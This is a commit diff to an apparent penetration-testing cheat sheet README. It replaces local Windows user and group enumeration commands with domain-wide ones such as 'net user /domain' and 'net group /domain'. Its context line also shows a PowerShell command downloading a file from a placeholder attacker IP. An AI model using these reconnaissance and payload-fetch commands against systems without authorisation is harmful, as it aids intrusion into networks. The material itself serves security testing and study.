Update README.md
This commit is contained in:
22
README.md
22
README.md
@@ -786,17 +786,23 @@ powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRES
|
|||||||
# Windows Enumeration Commands
|
# Windows Enumeration Commands
|
||||||
|
|
||||||
# CMD
|
# CMD
|
||||||
#Me
|
|
||||||
net users %username%
|
|
||||||
#All local users
|
|
||||||
net users
|
|
||||||
#Groups
|
|
||||||
net localgroup
|
|
||||||
#Who is inside Administrators group
|
|
||||||
net localgroup Administrators
|
|
||||||
#Check the privileges
|
#Check the privileges
|
||||||
whoami /all
|
whoami /all
|
||||||
|
|
||||||
|
# Enumerate all local accounts
|
||||||
|
net user
|
||||||
|
|
||||||
|
# Enumerate entire domain
|
||||||
|
net user /domain
|
||||||
|
|
||||||
|
# Enumerate information about user
|
||||||
|
net user {USERNAME} /domain
|
||||||
|
|
||||||
|
# Enumerate all groups in domain
|
||||||
|
net group /domain
|
||||||
|
|
||||||
|
|
||||||
# PS
|
# PS
|
||||||
Get-WmiObject -Class Win32_UserAccount
|
Get-WmiObject -Class Win32_UserAccount
|
||||||
Get-LocalUser | ft Name,Enabled,LastLogon
|
Get-LocalUser | ft Name,Enabled,LastLogon
|
||||||
|
|||||||
Reference in New Issue
Block a user